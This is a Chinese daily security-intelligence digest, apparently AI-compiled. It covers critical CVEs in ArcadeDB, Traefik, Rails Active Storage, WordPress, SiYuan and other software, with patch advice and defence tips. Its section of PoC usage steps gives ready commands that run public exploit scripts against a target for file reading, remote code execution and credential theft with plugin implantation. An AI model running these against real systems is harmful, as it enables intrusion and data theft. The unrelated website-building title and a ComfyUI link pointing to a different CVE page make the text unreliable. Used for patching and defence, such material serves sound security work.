企业官网建设流程全解析

# 每日安全情报报告 · 2026-08-03 > **由 AI 整理发布** > > 覆盖时段：2026-08-01 ~ 2026-08-03（近 24–48 小时新增/更新情报） > 风险等级图例：🔴 严重（CVSS ≥ 9.0 或在野利用）｜🟠 高危（CVSS 7.0–8.9）｜🟡 中危 > **在野利用标注**：⚠️ 表示已被 CISA KEV 收录或确认遭在野利用，需优先处置。 --- ## 一、最新高危漏洞 ### 🔴 CVE-2026-67342 — ArcadeDB 跨数据库授权绕过（CVSS 9.3 / 9.8） - **漏洞类型**：Authorization Bypass Through User-Controlled Key（CWE-639 / IDOR） - **受影响组件**：ArcadeDB < 26.7.2（`/ts/*`、`/batch/*`、Prometheus、Grafana 等 14 个 HTTP 处理器） - **CVSS 评分**：**9.8（Critical，NVD 口径）** / 9.3（CVSS v4） - **利用条件**：无需认证，仅需网络可达；直接调用未鉴权端点并传入任意数据库参数即可读写非授权库 - **修复版本**：26.7.2 - **详情**：[The Hacker Wire 分析](https://www.thehackerwire.com/arcadedb-authorization-bypass-cve-2026-67342) ｜ [VulnCheck 收录](https://www.vulncheck.com/advisories/arcadedb-before-authorization-bypass-via-database-handlers) ｜ [GitHub 公告 GHSA-x8mg-6r4p-87pf](https://github.com/advisories/GHSA-x8mg-6r4p-87pf) - **备注**：截至发稿暂无公开 PoC，但利用路径清晰，已评级 Critical。 ### 🔴 CVE-2026-67341 — ArcadeDB SQL DEFINE FUNCTION 脚本授权绕过（CVSS 9.3） - **漏洞类型**：Incorrect Authorization（CWE-863）→ 任意 JavaScript 执行 - **受影响组件**：ArcadeDB < 26.7.2（`DEFINE FUNCTION ... LANGUAGE js`） - **CVSS 评分**：**9.3（CVSS v4，Critical）** - **利用条件**：需数据库访问权限，但可绕过"仅管理员可脚本"的安全控制，执行任意 JS - **修复版本**：26.7.2 - **详情**：[VulnCheck 收录](https://www.vulncheck.com/advisories/arcadedb-before-authorization-bypass-via-sql-define-function) ｜ [GitHub 公告 GHSA-vwjc-v7x7-cm6g](https://github.com/advisories/GHSA-vwjc-v7x7-cm6g) ### 🔴 CVE-2026-67340 — ArcadeDB 触发器脚本越权加载 Java 类（CVSS 9.3） - **漏洞类型**：触发器脚本可经 `java.lang.*` 加载宿主类（CWE-863） - **受影响组件**：ArcadeDB < 26.7.2（arcadedb-engine） - **CVSS 评分**：**9.3（CVSS v4，Critical）** - **修复版本**：26.7.2 - **详情**：[VulnCheck 收录](https://www.vulncheck.com/advisories/arcadedb-before-authorization-bypass-trigger-scripts) ### 🔴 CVE-2026-67336 — better-auth OIDC/MCP 不安全加密默认值（CVSS 9.4） - **漏洞类型**：Use of a Broken or Risky Cryptographic Algorithm（CWE-327） - **受影响组件**：better-auth < 1.6.11（`oidcProvider` 与 `mcp` 插件） - **CVSS 评分**：**9.4（CVSS v4，High/Critical）** - **缺陷**：OIDC discovery 文档默认通告 `alg=none`（接受无签名令牌），且 PKCE `plain` 默认开启、缺失参数时静默降级；依赖方若按发现文档协商算法可被伪造令牌接管账户 - **修复版本**：升级至 **better-auth@1.6.11+**，并迁移至 `@better-auth/oauth-provider` - **详情**：[Endor Labs 分析](https://www.endorlabs.com/vulnerability/cve-2026-67336) ｜ [VulnCheck 收录](https://www.vulncheck.com/advisories/better-auth-before-insecure-cryptographic-defaults-via-oidcprovider) ｜ [GitHub 公告 GHSA-9h47-pqcx-hjr4](https://github.com/advisories/GHSA-9h47-pqcx-hjr4) ### 🔴 CVE-2026-67309 — Traefik 路由级认证绕过（路径穿越，CVSS 9.1） - **漏洞类型**：Path Traversal（CWE-22）→ 认证绕过 - **受影响组件**：Traefik v3.7.0 ~ v3.7.7（启用 Kubernetes Ingress NGINX provider 且使用 rewrite-target 注解） - **CVSS 评分**：**9.1（Critical）**｜向量 `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` - **利用条件**：完全未认证远程攻击者发送 `GET /api../admin` 即可穿越至受 BasicAuth/DigestAuth/ForwardAuth 保护的后端，无需任何凭据 - **修复版本**：**v3.7.8**（引入 `JoinPath()` 规范化校验） - **临时缓解**：将 Ingress 正则改为显式要求路径分隔符（如 `/api(/|$)(.*)`） - **详情**：[IONIX 威胁中心分析](https://www.ionix.io/threat-center/cve-2026-67309) ｜ [Traefik 安全公告 GHSA-8rxv-jg7p-wvg3](https://github.com/advisories/GHSA-8rxv-jg7p-wvg3) ｜ [NIST NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-67309) ### 🔴 CVE-2026-8457 — WooCommerce Social Login 认证绕过（CVSS 9.8） - **漏洞类型**：Authentication Bypass via Unverified Apple JWT（CWE-287） - **受影响组件**：WooCommerce – Social Login 插件 ≤ 2.8.7（Apple 登录处理器） - **CVSS 评分**：**9.8（Critical）** - **利用条件**：无需认证；插件仅 Base64 解码 Apple `id_token` 负载而不验证 JWT 签名，攻击者可伪造任意用户（含管理员）令牌 - **修复建议**：立即禁用 Apple 社交登录并更新；预计将遭大规模自动化利用 - **详情**：[Enigma 每日威胁情报 2026-08-02](https://www.enigma-global.com/blog/daily-digest-2026-08-02) ### 🔴 CVE-2026-54725 — Kubernetes vault-secrets-webhook SSRF 与 ServiceAccount 令牌窃取（CVSS 9.6） - **漏洞类型**：SSRF（CWE-918）+ 服务账户令牌窃取 - **受影响组件**：github.com/bank-vaults/vault-secrets-webhook < 1.23.1 - **CVSS 评分**：**9.6（Critical）** - **利用条件**：任意 Pod 准入请求即可触发；通过 `vault-addr` 注解触发 SSRF、`vault-serviceaccount` 注解经 TokenRequest API 窃取全集群服务账户令牌 - **修复版本**：**1.23.1**；已有公开 exploit - **详情**：[Enigma 每日威胁情报 2026-08-02](https://www.enigma-global.com/blog/daily-digest-2026-08-02) ### 🔴 CVE-2026-68771 — ComfyUI 未经认证 RCE（pickle 反序列化，CVSS 高危） - **漏洞类型**：Unsafe Pickle Deserialization（CWE-502）→ RCE - **受影响组件**：ComfyUI ≤ v0.23.0（`LoadTrainingDataset` 内置节点） - **利用条件**：无需认证，上传特制 pickle 训练数据集即可在服务器执行任意代码；AI/ML 推理服务暴露面风险极高 - **修复建议**：升级 ComfyUI > v0.23.0，禁用不可信 pickle 加载，使用 SafeTensors - **详情**：[IONIX 威胁中心](https://www.ionix.io/blog/threat-center/cve-2024-20353-cisco-adaptive-security-appliance-and-firepower-threat-defense-denial-of-service/) ### 🔴 CVE-2026-66066（KindaRails2Shell）— Ruby on Rails Active Storage 任意文件读取与 RCE - **漏洞类型**：不安全默认初始化（CWE-1188）→ 任意文件读 → 远程代码执行 - **受影响组件**：Rails Active Storage（使用 Vips/libvips 处理器）< 7.2.3.2｜8.0.x < 8.0.5.1｜8.1.x < 8.1.3.1 - **CVSS 评分**：**9.5（CVSS v4，Critical）** - **利用条件**：无需认证；需接受不可信图片上传且使用 libvips（官方 Docker/Debian/Ubuntu 默认） - **危害**：上传特制图片可读取服务器任意文件（含 `secret_key_base`、数据库与云存储凭据），进而伪造会话 cookie、签名数据实现完整 RCE - **修复版本**：7.2.3.2 / 8.0.5.1 / 8.1.3.1（需 libvips ≥ 8.13）；升级后务必轮换 `secret_key_base`；临时缓解设 `VIPS_BLOCK_UNTRUSTED` - **公开 PoC**：[0xsha/KindaRails2Shell](https://github.com/0xsha/KindaRails2Shell) - **详情**：[GitHub 公告 GHSA-xr9x-r78c-5hrm](https://github.com/advisories/GHSA-xr9x-r78c-5hrm) ｜ [Rapid7 技术分析](https://www.rapid7.com/blog/post/etr-kindarails2shell-cve-2026-66066-critical-arbitrary-file-read-and-possible-remote-code-execution-in-ruby-on-rails/) ｜ [奇安信 CERT 通告](https://www.secrss.com/articles/92686) ### ⚠️🔴 CVE-2026-3910 — Google Chrome 内存破坏（在野利用，KEV 8/1 新增） - **漏洞类型**：CWE-119 缓冲区越界（内存破坏） - **受影响组件**：Google Chrome（首次纳入 CISA KEV 2026-08-01） - **CVSS 评分**：**8.8（High）** - **在野状态**：**已列入 CISA KEV，确认在野利用**（EPSS 高分位，最新读数 2026-08-01） - **处置**：立即更新 Chrome 至最新补丁版本 - **详情**：[CVE 详情（cvetodo）](https://cvetodo.com/cve/CVE-2026-3910) ### ⚠️🔴 CVE-2026-16812 — Arista VeloCloud Orchestrator 操作系统命令注入（CVSS 10.0，在野利用，已逾期） - **漏洞类型**：OS Command Injection（CWE-78） - **受影响组件**：VeloCloud Orchestrator（VCO）On-Prem（非托管/专用版）；< 5.2.3.14 / 6.1.3.4 / 6.4.2.4 / 7.0.0.1 - **CVSS 评分**：**10.0（Critical，最大值）** - **在野状态**：**CISA KEV 2026-07-27 收录，联邦 BOD 26-04 修复截止 2026-07-30 已逾期**；已确认遭在野利用，攻击源 IP 8.19.75.217 / 206.72.242.124 / 206.72.242.162 - **危害**：单一未修补管理控制台失陷即等同整个 SD-WAN 网络被接管；VCO 默认暴露且无配置可关闭暴露 - **详情**：[Arista 安全公告 0144](https://www.arista.com/en/support/advisories-notices/security-advisory/24364-security-advisory-0144) ｜ [Tenable CVE 详情](https://pt-br.tenable.com/cve/CVE-2026-16812) ｜ [DIESEC 在野利用分析](https://diesec.com/2026/07/arista-velocloud-orchestrator-cve-2026-16812) ｜ [CISA KEV 目录](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) ### ⚠️🔴 CVE-2026-20316 — Cisco Secure FMC 硬编码静态凭据（在野利用，KEV 8/1 到期） - **漏洞类型**：硬编码凭证 → 认证绕过 + 权限提升（链 CVE-2026-20079） - **CVSS 评分**：严重（CISA KEV） - **在野状态**：**CISA KEV 联邦修复截止日 2026-08-01 已到期**，零日利用持续 - **检测 IOC**：`grep license /var/log/messages` 出现 `/var/tmp/license.tmp` 即疑似失陷；7.0/7.2/7.4/7.6/7.7/10.0 分支已发布热修复 - **详情**：[CISA KEV 目录](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) ### ⚠️🔴 CVE-2026-42897 — Microsoft Exchange OWA 存储型 XSS（OWAReaper，在野利用） - **漏洞类型**：存储型 XSS（CWE-79） - **在野状态**：**俄罗斯关联组织 TA488（Laundry Bear / Void Blizzard）在野利用**；名为 OWAReaper 的 JS 浏览器植入物，可抵抗密码重置与设备重装实现持久化 - **补丁**：6/10 Patch Tuesday 已提供永久修复；未打补丁实例可用 EEMS 紧急缓解 - **详情**：[Proofpoint：TA488 Comes for Outlook](https://www.proofpoint.com/us/threat-insight) ### ⚠️🔴 CVE-2026-6875 — ServiceNow AI 平台沙盒逃逸预认证 RCE（在野利用） - **漏洞类型**：沙盒逃逸 → 预认证 RCE - **在野状态**：**自 7/18 起持续在野利用**，确认两条沙盒逃逸 gadget 链，受害者含财富 500 强与关键基础设施；**仍未进入 CISA KEV** - **处置**：ServiceNow 实例立即排查并升级至官方修复版本，加强入站请求监控 ### 🟠 CVE-2026-67344 / CVE-2026-67343 — ArcadeDB 附加弱点（CVSS 8.5 / 8.7） - **CVE-2026-67344**：ALTER TYPE SCHEMA 权限未强制（CVSS 8.5） - **CVE-2026-67343**：GET /api/v1/server 未正确脱敏集群令牌（CVSS 8.7） - **修复版本**：26.7.2 - **详情**：[Systeque 新 CVE 汇总（截至 2026-08-02）](http://systeque.co.za/) --- ## 二、最新漏洞 POC（使用步骤 + 来源链接） ### 1. 🔴 CVE-2026-66066 KindaRails2Shell — Rails Active Storage 文件读/RCE（PoC 已公开） - **来源**：[0xsha/KindaRails2Shell](https://github.com/0xsha/KindaRails2Shell)（含扫描器、利用脚本与本地 Lab） - **漏洞背景**：Rails 未禁用 libvips 标记为"不可信"的操作，特制上传可借 HDF5/MAT 图片触发加载器，读取服务器文件并借 `secret_key_base` 实现完整代码执行。 - **使用步骤**： ```bash git clone https://github.com/0xsha/KindaRails2Shell.git cd KindaRails2Shell pip install requests # 被动扫描：仅判断目标是否暴露可被劫持的 Active Storage 表示 python3 kr2s.py SCAN --url http://TARGET # 主动任意文件读取（需目标允许上传） python3 kr2s.py READ --url http://TARGET --offset 0 --size 1024 # 条件 RCE：读取 secret_key_base 后签名执行命令 python3 kr2s.py RCE --url http://TARGET --cmd "id" # 版本矩阵自检（验证修复与否） ./lab/matrix.sh 8.1.3.1:PATCHED ``` - **说明**：RCE 依赖成功恢复签名密钥并命中受影响 vips 变换行为；升级后务必轮换 `secret_key_base` 及所有凭据。 ### 2. 🔴 CVE-2026-67309 Traefik 路由级认证绕过（技术复现指引） - **来源**：[IONIX 威胁中心分析](https://www.ionix.io/threat-center/cve-2026-67309)（含触发条件与正则缓解示例） - **漏洞背景**：`rewrite-target` 注解经 `ReplaceAllString` + `PathUnescape` 重写路径后未做规范化校验，点段（`..`）可穿越至受保护后端。 - **本地验证步骤**： ```bash # 搭建存在漏洞的 Ingress：path /api(.) + rewrite-target /$1，后端 /admin 受 BasicAuth 保护 # 发送穿越请求，观察是否绕过认证直达 /admin curl -k -i "https://TARGET/api../admin" # 预期：未带凭据即返回 200 并通过认证中间件（漏洞存在） # 升级至 v3.7.8 后，相同请求因规范化校验返回 400 ``` - **修复版本**：Traefik **v3.7.8**；临时缓解将正则改为 `/api(/|$)(.*)`。 ### 3. 🔴 CVE-2026-63030 WordPress wp2shell 预认证 RCE（PoC 已公开） - **来源**：[J0bkeeper/CVE-2026-63030](https://github.com/J0bkeeper/CVE-2026-63030) - **使用步骤**： ```bash git clone https://github.com/J0bkeeper/CVE-2026-63030.git cd CVE-2026-63030 pip install requests python3 exp.py http://TARGET "id" ``` - **影响**：WordPress 6.9.0–6.9.4 / 7.0.0–7.0.1 REST API `/batch/v1` 路由混淆 + SQL 注入 → 创建管理员 → 上传插件 RCE；PoC 已公开后数小时即观测到在野利用，WordPress 已强制推送自动更新。 ### 4. 🔴 CVE-2026-66012 SiYuan MCP 未认证管理员接管（PoC 已公开） - **来源**：[Hunt-Benito/siyuan-mcp-admin-takeover-cve-2026-66012](https://github.com/Hunt-Benito/siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization) - **使用步骤**： ```bash git clone https://github.com/Hunt-Benito/siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization.git cd siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization pip install requests # 完整利用（凭据窃取 + 插件植入 + 提权） python3 exploit.py http://TARGET:6808 # 仅凭据窃取 python3 exploit.py http://TARGET:6808 --no-plugin ``` - **影响**：SiYuan < v3.7.2 在匿名模式下 Publish 服务器缺失授权检查，MCP 端点可被未认证接管并 RCE（CVSS 10.0）。 ### 5. 🟠 CVE-2026-47291 Windows HTTP.sys 远程代码执行（PoC 已公开） - **来源**：[omair2084/misc](https://github.com/omair2084/misc) - **使用步骤**： ```bash git clone https://github.com/omair2084/misc.git cd misc # 查看 PoC 代码及说明文档，仅在授权测试环境使用 ``` - **影响**：Windows HTTP.sys 整数溢出 → SYSTEM 权限 RCE（CVSS 9.8）；微软已于 6 月补丁日修复，但大批服务器仍未打补丁。 ### 6. 🔴 CVE-2026-67342 ArcadeDB 授权绕过（利用路径说明，暂无完整 PoC） - **来源**：[The Hacker Wire 分析](https://www.thehackerwire.com/arcadedb-authorization-bypass-cve-2026-67342) - **利用路径**：直接构造 HTTP 请求至 `/ts/*`、`/batch/*`、Prometheus、Grafana 等端点，将数据库参数替换为非授权库名即可读写。 ```bash # 概念验证（替换为真实端点路径与参数名） curl -k -X POST "http://TARGET:2480/batch/db[_target_db]" \ -H "Content-Type: application/json" -d '{"statements":[...]}' ``` - **修复版本**：ArcadeDB **26.7.2**；目前尚无公开武器化 PoC，但利用门槛低，建议立即升级。 --- ## 三、网络安全最新文章 1. **ArcadeDB 三连击：26.7.2 之前版本爆出三个 CVSS 9.3 授权绕过漏洞** — The Hacker Wire / VulnCheck 跨数据库 IDOR、SQL DEFINE FUNCTION 脚本越权、触发器脚本加载宿主类，无需认证即可接管任意数据库。 [阅读原文](https://www.thehackerwire.com/arcadedb-authorization-bypass-cve-2026-67342) 2. **better-auth 曝 OIDC/MCP 不安全加密默认值（CVE-2026-67336）** — Endor Labs oidcProvider/mcp 插件默认通告 `alg=none` 并启用 PKCE plain，依赖方可被伪造令牌接管账户，CVSS 9.4。 [阅读原文](https://www.endorlabs.com/vulnerability/cve-2026-67336) 3. **Traefik 路由级认证绕过（CVE-2026-67309）：未认证直达受保护后端** — IONIX rewrite-target 路径未规范化导致 `..` 穿越，BasicAuth/DigestAuth/ForwardAuth 全部失效，CVSS 9.1。 [阅读原文](https://www.ionix.io/threat-center/cve-2026-67309) 4. **WooCommerce Social Login 认证绕过漏洞可伪造任意用户令牌（CVE-2026-8457）** — Enigma 每日威胁情报 插件仅解码 Apple JWT 负载不验签，攻击者可伪造管理员令牌，预计遭大规模利用。 [阅读原文](https://www.enigma-global.com/blog/daily-digest-2026-08-02) 5. **Kubernetes vault-secrets-webhook SSRF 与全集群令牌窃取（CVE-2026-54725）** — Enigma 每日威胁情报 任意 Pod 准入请求即可触发 SSRF 并经 TokenRequest API 窃取服务账户令牌，已有公开 exploit。 [阅读原文](https://www.enigma-global.com/blog/daily-digest-2026-08-02) 6. **Rails 修补 Active Storage 严重漏洞（KindaRails2Shell，含 RCE 潜力）** — BleepingComputer 一张特制图片上传即可读取服务器任意文件乃至 RCE；因公开 PoC 过早出现，Rails 提前公开细节。 [阅读原文](https://www.bleepingcomputer.com/news/security/rails-patches-critical-active-storage-flaw-with-rce-potential/) 7. **ComfyUI 未经认证 RCE：pickle 反序列化成 AI 推理服务新攻击面** — IONIX 威胁中心 LoadTrainingDataset 节点反序列化不可信 pickle，无需认证即可在服务器执行任意代码，AI/ML 平台暴露风险骤增。 [阅读原文](https://www.ionix.io/blog/threat-center/cve-2024-20353-cisco-adaptive-security-appliance-and-firepower-threat-defense-denial-of-service/) 8. **Google Chrome 新漏洞纳入 CISA KEV，确认在野利用（CVE-2026-3910）** — cvetodo Chrome 内存破坏漏洞 CVSS 8.8，8/1 进入 KEV，要求立即更新浏览器。 [阅读原文](https://cvetodo.com/cve/CVE-2026-3910) 9. **Arista VeloCloud Orchestrator 命令注入零日在野利用，CISA KEV 截止已逾期** — DIESEC 单一管理控制台失陷即等同整个 SD-WAN 网络被接管，2026 年第十二个遭在野利用的网络基础设施产品线。 [阅读原文](https://diesec.com/2026/07/arista-velocloud-orchestrator-cve-2026-16812) 10. **Coldcard 硬件钱包固件缺陷致 1,082 BTC（约 7020 万美元）41 分钟被盗** — The Hacker News（经 Enigma 聚合） 2021 年 3 月集成错误将种子生成路由至确定性伪随机源，熵降至 40 比特，攻击者预计算密钥后闪电式扫荡。 [阅读原文](https://www.enigma-global.com/blog/daily-digest-2026-08-02) 11. **Arch Linux 冻结 AUR 包收养：Tor 后 Rust 信息窃取器绕过 6 月防御** — Enigma 每日威胁情报 第三波恶意提交绕过防护，Rust 负载经 Tor C2 通信，开源信任模型被系统性利用。 [阅读原文](https://www.enigma-global.com/blog/daily-digest-2026-08-02) 12. **Midnight Blizzard 发起 CaptiveCrunch 行动，借酒店 Wi-Fi 拦截旅行者凭证** — Microsoft / Enigma 俄罗斯国家背景组织操纵 captive portal，在酒店/会议中心部署恶意软件、窃取 Microsoft 365 令牌。 [阅读原文](https://www.enigma-global.com/blog/daily-digest-2026-08-02) 13. **CISA 警告针对美国水务 PLC 的网络攻击激增** — Enigma 每日威胁情报 互联网暴露的可编程逻辑控制器（PLC）遭主动利用以破坏水务设施运行，威胁关键基础设施。 [阅读原文](https://www.enigma-global.com/blog/daily-digest-2026-08-02) 14. **NCSC-FI 披露 FreeRDP 多个严重漏洞，恶意 RDP 服务器可攻击客户端** — Enigma 每日威胁情报 剪贴板虚拟通道堆溢出（CVE-2026-67305，CVSS 9.4）等内存破坏，恶意 RDP 服务端可在连接客户端执行任意代码。 [阅读原文](https://www.enigma-global.com/blog/daily-digest-2026-08-02) 15. **Wazuh GitHub Actions 工作流命令注入（CVSS 10.0），需审计 fork PR 注入模式** — NCSC-FI / Enigma 攻击者提交恶意 fork PR 即可执行任意命令，已有 PoC，建议升级至 commit 44bf114 并对首次贡献者 PR 启用审批。 [阅读原文](https://www.enigma-global.com/blog/daily-digest-2026-08-02) --- ## 四、防御建议速览 - **🔴 立即处置（在野利用）**：Chrome（CVE-2026-3910，KEV 8/1）、Cisco Secure FMC（CVE-2026-20316，KEV 7/29 到期）、Arista VeloCloud（CVE-2026-16812，逾期）、Exchange OWA（CVE-2026-42897）、ServiceNow AI（CVE-2026-6875）、ArcadeDB（CVE-2026-67342/67341/67340 系列）。 - **🟠 48 小时内修补**：better-auth（CVE-2026-67336，升级至 1.6.11+）、Traefik（CVE-2026-67309，升级至 v3.7.8）、WooCommerce Social Login（CVE-2026-8457，禁用 Apple 登录并更新）、Rails Active Storage（CVE-2026-66066，升级并轮换 `secret_key_base`）、ComfyUI（CVE-2026-68771，升级 > v0.23.0）、Kubernetes vault-secrets-webhook（CVE-2026-54725，升级至 1.23.1）。 - **🛡️ 供应链与 AI 安全**：审计已收养的 AUR/npm/PyPI 包并启用签名校验；AI/ML 推理服务禁用不可信 pickle 加载、改用 SafeTensors；警惕 AI Agent 在测试环境接触真实凭证。 - **🌐 关键基础设施**：立即收敛水务/工业 PLC 的互联网暴露面，启用 OT/IT 网络分段与远程访问 MFA；对 SD-WAN/防火墙管理平面实施严格网络限制与日志审计。 > *部分内容由 AI 辅助生成*